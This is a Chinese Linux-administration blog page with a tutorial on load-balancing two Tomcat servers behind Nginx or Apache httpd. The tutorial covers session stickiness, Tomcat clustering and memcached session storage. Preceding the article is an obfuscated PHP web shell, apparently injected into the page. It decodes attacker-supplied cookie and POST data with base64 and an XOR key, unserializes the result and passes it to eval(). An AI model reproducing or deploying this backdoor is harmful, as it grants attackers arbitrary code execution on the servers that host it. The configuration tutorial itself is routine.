$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Nginx/httpd 代理两个Tomcat | Linux运维部落

Nginx/httpd 代理两个Tomcat

Nginx

前端代理服务器172.16.71.1

从ftp下载Nginx

安装

vim /etc/nginx/nginx.conf

http {
...
# 添加以下内容
upstream tcsrvs {
        server 172.16.71.4:8080;
        server 172.16.71.5:8080;
    }
...
}
vim /etc/nginx/conf.d/default.conf

location / {
   root   /usr/share/nginx/html;
   proxy_pass http://tcsrvs/;  #添加此行
   index  index.html index.htm;
}

后端Tomcat服务器

172.16.71.4172.16.71.5

两个主机都要安装jdk和Tomcat

yum install java-1.8.0-openjdk-devel -y
yum install tomcat -y

主机1

mkdir -pv /var/lib/tomcat/webapps/test/{lib,classes,WEB-INF}
vim /var/lib/tomcat/webapps/test/index.jsp


<%@ page language="java" %>
<html>
 <head><title>TomcatA</title></head>
 <body>
   <h1><font color="red">TomcatA.magedu.com</font></h1>
   <table align="centre" border="1">
     <tr>
       <td>Session ID</td>
   <% session.setAttribute("magedu.com","magedu.com"); %>
       <td><%= session.getId() %></td>
     </tr>
     <tr>
       <td>Created on</td>
       <td><%= session.getCreationTime() %></td>
    </tr>
   </table>
 </body>
</html>


systemctl start tomcat

主机2

mkdir -pv /var/lib/tomcat/webapps/test/{lib,classes,WEB-INF}
vim /var/lib/tomcat/webapps/test/index.jsp


<%@ page language="java" %>
<html>
 <head><title>TomcatB</title></head>
 <body>
   <h1><font color="red">TomcatB.magedu.com</font></h1>
   <table align="centre" border="1">
     <tr>
       <td>Session ID</td>
   <% session.setAttribute("magedu.com","magedu.com"); %>
       <td><%= session.getId() %></td>
     </tr>
     <tr>
       <td>Created on</td>
       <td><%= session.getCreationTime() %></td>
    </tr>
   </table>
 </body>
</html>

systemctl start tomcat

前端代理

systemctl start nginx 

测试

从浏览器访问172.16.71.1,显示Tomcat欢迎页面

从浏览器访问172.16.71.1/test,显示测试页面信息,刷新会变化。


httpd

yum install httpd -y

vim /etc/httpd/conf.d/tomcat_httpd.conf

<proxy balancer://tcsrvs>
   BalancerMember http://172.16.71.4:8080
   BalancerMember http://172.16.71.5:8080
   ProxySet lbmethod=byrequests
</Proxy>
<VirtualHost *:80>
   ServerName www.magedu.com
   ProxyVia On
   ProxyRequests Off
   ProxyPreserveHost On
   <Proxy *>
       Require all granted
   </Proxy>
       ProxyPass / balancer://tcsrvs/
       ProxyPassReverse / balancer://tcsrvs/
   <Location />
       Require all granted
   </Location>
</VirtualHost>    

systemctl start httpd

测试

从浏览器访问172.16.71.1,显示Tomcat欢迎页面

从浏览器访问172.16.71.1/test,显示测试页面信息,刷新会变化。


实现会话粘性方法

172.16.71.4

vim /etc/tomcat/server.xml

   <Engine name="Catalina" defaultHost="localhost" jvmRoute="TomcatA"> #修改此行


systemctl restart tomcat

172.16.71.5

vim /etc/tomcat/server.xml

   <Engine name="Catalina" defaultHost="localhost" jvmRoute="TomcatB"> #修改此行

systemctl restart tomcat

172.16.71.1

vim /etc/httpd/conf.d/tomcat_httpd.conf

Header add Set-Cookie "ROUTEID=.%{BALANCER_WORKER_ROUTE}e; path=/" env=BALANCER_ROUTE_CHANGED
<proxy balancer://tcsrvs>
   BalancerMember http://172.18.100.67:8080 route=TomcatA loadfactor=1
   BalancerMember http://172.18.100.68:8080 route=TomcatB loadfactor=2
   ProxySet lbmethod=byrequests
   ProxySet stickysession=ROUTEID
</Proxy>
<VirtualHost *:80>
   ServerName lb.magedu.com
   ProxyVia On
   ProxyRequests Off
   ProxyPreserveHost On
   <Proxy *>
       Require all granted
   </Proxy>
   ProxyPass / balancer://tcsrvs/
   ProxyPassReverse / balancer://tcsrvs/
   <Location />
       Require all granted
   </Location>
</VirtualHost>  

systemctl restart httpd

测试

从浏览器访问172.16.71.1,显示Tomcat欢迎页面

从浏览器访问172.16.71.1/test,显示测试页面信息,刷新不会变化。


启用管理接口

vim /etc/httpd/conf.d/balaner_manager.conf

<Location /balancer-manager>
   SetHandler balancer-manager
   ProxyPass !
   Require all granted
</Location>            

systemctl restart httpd

测试

浏览器访问172.16.71.1/balancer-manager会出现管理接口

ajp balancer

vim /etc/httpd/conf.d/tomcat-ajp.conf

<proxy balancer://tcsrvs>
   BalancerMember ajp://172.16.71.4:8009
   BalancerMember ajp://172.16.71.5:8009
   ProxySet lbmethod=byrequests
</Proxy>
<VirtualHost *:80>
   ServerName lb.magedu.com
   ProxyVia On
   ProxyRequests Off
   ProxyPreserveHost On
   <Proxy *>
       Require all granted
   </Proxy>
   ProxyPass / balancer://tcsrvs/
   ProxyPassReverse / balancer://tcsrvs/
   <Location />
       Require all granted
   </Location>
   <Location /balancer-manager>
       SetHandler balancer-manager
       ProxyPass !
       Require all granted
   </Location>
</VirtualHost>  

测试

从浏览器访问172.16.71.1,显示Tomcat欢迎页面

从浏览器访问172.16.71.1/test,显示测试页面信息,刷新会变化。

会话绑定与前面相似

vim /etc/httpd/conf.d/tomcat-ajp.conf

<proxy balancer://tcsrvs>
   BalancerMember ajp://172.16.71.4:8009 route=TomcatA loadfactor=1
   BalancerMember ajp://172.16.71.5:8009 route=TomcatB loadfactor=1
   ProxySet lbmethod=byrequests
</Proxy>
<VirtualHost *:80>
   ServerName lb.magedu.com
   ProxyVia On
   ProxyRequests Off
   ProxyPreserveHost On
   <Proxy *>
       Require all granted
   </Proxy>
   ProxyPass / balancer://tcsrvs/
   ProxyPassReverse / balancer://tcsrvs/
   <Location />
       Require all granted
   </Location>
   <Location /balancer-manager>
       SetHandler balancer-manager
       ProxyPass !
       Require all granted
   </Location>
</VirtualHost>  

Tomcat集群

172.16.71.4

vim /etc/tomcat/server.xml

    <Engine name="Catalina" defaultHost="localhost" jvmRoute="TomcatA"> # jvmRoute 一定要有

       <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
                channelSendOptions="8">

         <Manager className="org.apache.catalina.ha.session.DeltaManager"
                  expireSessionsOnShutdown="false"
                  notifyListenersOnReplication="true"/>

         <Channel className="org.apache.catalina.tribes.group.GroupChannel">
           <Membership className="org.apache.catalina.tribes.membership.McastService"
                       address="228.0.71.4"
                       port="45564"
                       frequency="500"
                       dropTime="3000"/>
           <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
                     address="172.16.71.4"
                     port="4000"
                     autoBind="100"
                     selectorTimeout="5000"
                     maxThreads="6"/>

           <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
             <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
           </Sender>
           <Interceptor className="org.apache.catalina.tribes.group.interceptors.TcpFailureDetector"/>
           <Interceptor className="org.apache.catalina.tribes.group.interceptors.MessageDispatch15Interceptor"/>
         </Channel>

         <Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
                filter=""/>
         <Valve className="org.apache.catalina.ha.session.JvmRouteBinderValve"/>

         <Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
                   tempDir="/tmp/war-temp/"
                   deployDir="/tmp/war-deploy/"
                   watchDir="/tmp/war-listen/"
                   watchEnabled="false"/>

         <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
       </Cluster>
cp /etc/tomcat/web.xml  /var/lib/tomcat/webapps/test/WEB-INF/
vim /var/lib/tomcat/webapps/test/WEB-INF/web.xml

<distributable/> # 添加

systemctl restart tomcat

172.16.71.5同理

vim /etc/tomcat/server.xml

    <Engine name="Catalina" defaultHost="localhost" jvmRoute="TomcatB"> # jvmRoute 一定要有

       <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
                channelSendOptions="8">

         <Manager className="org.apache.catalina.ha.session.DeltaManager"
                  expireSessionsOnShutdown="false"
                  notifyListenersOnReplication="true"/>

         <Channel className="org.apache.catalina.tribes.group.GroupChannel">
           <Membership className="org.apache.catalina.tribes.membership.McastService"
                       address="228.0.71.4"
                       port="45564"
                       frequency="500"
                       dropTime="3000"/>
           <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
                     address="172.16.71.5"
                     port="4000"
                     autoBind="100"
                     selectorTimeout="5000"
                     maxThreads="6"/>

           <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
             <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
           </Sender>
           <Interceptor className="org.apache.catalina.tribes.group.interceptors.TcpFailureDetector"/>
           <Interceptor className="org.apache.catalina.tribes.group.interceptors.MessageDispatch15Interceptor"/>
         </Channel>

         <Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
                filter=""/>
         <Valve className="org.apache.catalina.ha.session.JvmRouteBinderValve"/>

         <Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
                   tempDir="/tmp/war-temp/"
                   deployDir="/tmp/war-deploy/"
                   watchDir="/tmp/war-listen/"
                   watchEnabled="false"/>

         <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
       </Cluster>
cp /etc/tomcat/web.xml  /var/lib/tomcat/webapps/test/WEB-INF/
vim /var/lib/tomcat/webapps/test/WEB-INF/web.xml

<distributable/> # 添加

systemctl restart tomcat

测试

从浏览器访问172.16.71.1,显示Tomcat欢迎页面

从浏览器访问172.16.71.1/test,显示测试页面信息,刷新不会变化。

注意:一定要先为主机配置网关,否则Tomcat将无法启动


memcached 实现session存储

172.16.71.4172.16.71.5

vim /etc/tomcat/server.xml

# 删除上一步添加的内容

systemctl stop tomcat
yum install memcached -y

systemctl start memcached

下载类库

cd /usr/share/tomcat/lib
lftp 172.16.0.1
cd pub/Sources/7.x86_64/msm/
mget *
bye
vim /etc/tomcat/server.xml

#在<Host>中添加:
<Context path="/" docBase="test" reloadable="true">
</Context>

systemctl start tomcat

测试

从浏览器访问172.16.71.1,显示Tomcat欢迎页面

从浏览器访问172.16.71.1/test,显示测试页面信息,刷新不会变化。

添加session保持

172.16.71.4 172.16.71.5

vim /etc/tomcat/server.xml

     <Host name="localhost"  appBase="webapps"
           unpackWARs="true" autoDeploy="true">
               <Context path="/sample" docBase="sample" reloadable="true">
                 <Manager className="de.javakaffee.web.msm.MemcachedBackupSessionManager"
                     memcachedNodes="n1:172.16.71.4:11211,n2:172.16.71.5:11211"
                     failoverNodes="n1"
                     requestUriIgnorePattern=".*\.(ico|png|gif|jpg|css|js)$"
                     transcoderFactoryClass="de.javakaffee.web.msm.serializer.javolution.JavolutionTranscoderFactory"


systemctl restart tomcat

测试

从浏览器访问172.16.71.1,显示Tomcat欢迎页面

从浏览器访问172.16.71.1/sample,显示测试页面信息,刷新session不会变化,内容会变化。

注意:此处前端要使用Nginx,httpd不能实现以上功能,原因未知。

原创文章,作者:wangshuai,如若转载,请注明出处:http://www.178linux.com/68251

(1)
上一篇 2017-02-12 22:22
下一篇 2017-02-13 11:30

相关推荐

  • 浅谈技术管理(转载,讲的非常不错,技术和产品都值得一看)

      针对这些年旁观和经历过的技术产品场景,做一些个人的总结和判定,尽量不涉及争议性话题,比如对一个互联网公司而言,技术重要还是产品重要之类的,这种话题一扯开,各有道理,谁也别指望说服谁。     此外,加一个前缀,主要针对非技术领导者所面临的技术管理困境,在很多从传统企业转型或个人站转型的互联网企业里,这个问…

    Linux干货 2015-04-04
  • 堡垒机-麒麟开源堡垒机 V 1.3 正式发布

    麒麟开源堡垒机团队经过1个月的努力,发布V 1.3版本,本版本主要收集了5月开发的小功能,并且增加了大用户量、大设备量,纵深目录层级的优化支持,产品 V1.3  光盘主要新增功能如下(相对 V1.2光盘) 1.增加苹果MAC OS系统客户端的WEB访问支持 2.增加CA认证支持,内置CA证书  3.增加ssh 公私钥认证方式中,私钥中有密…

    Linux干货 2016-06-09
  • 初入马哥教育的感受

    记录来马哥教育的点滴记录及感受。。

    Linux干货 2018-03-26
  • Linux下btrfs子卷的挂载

        对btrfs文件系统的补充:     btrfs文件手动挂载自不必多说,但若想btrfs文件系统开机自动挂载,该如何实现呢?     其实只需添加挂载选项即可,如下: UUID=c99895c8-5b14-4276-80c7-ecf…

    Linux干货 2015-12-19
  • Zabbix通过邮件报警

                    Zabbix通过邮件报警 前言 本篇文章转自我的个人博客 http://anyisalin.com 欢迎大家访问 这次的内容大部分都是操作, 但是大家需要对定…

    2016-05-13
  • 内核编译安装 (用NTFS模块)

    内核编译安装 (用NTFS模块) 1 rz 下载的 的内核最新文件 在这 https://www.kernel.org/ 2 tar xvf linux-4.12.10.tar.xz 解压文件 内核文件一般都放在 /usr/src/ 3 cd linux-4.12.10/ 4 [root@god linux-4.12.10]#cp /boot/config-…

    2017-09-04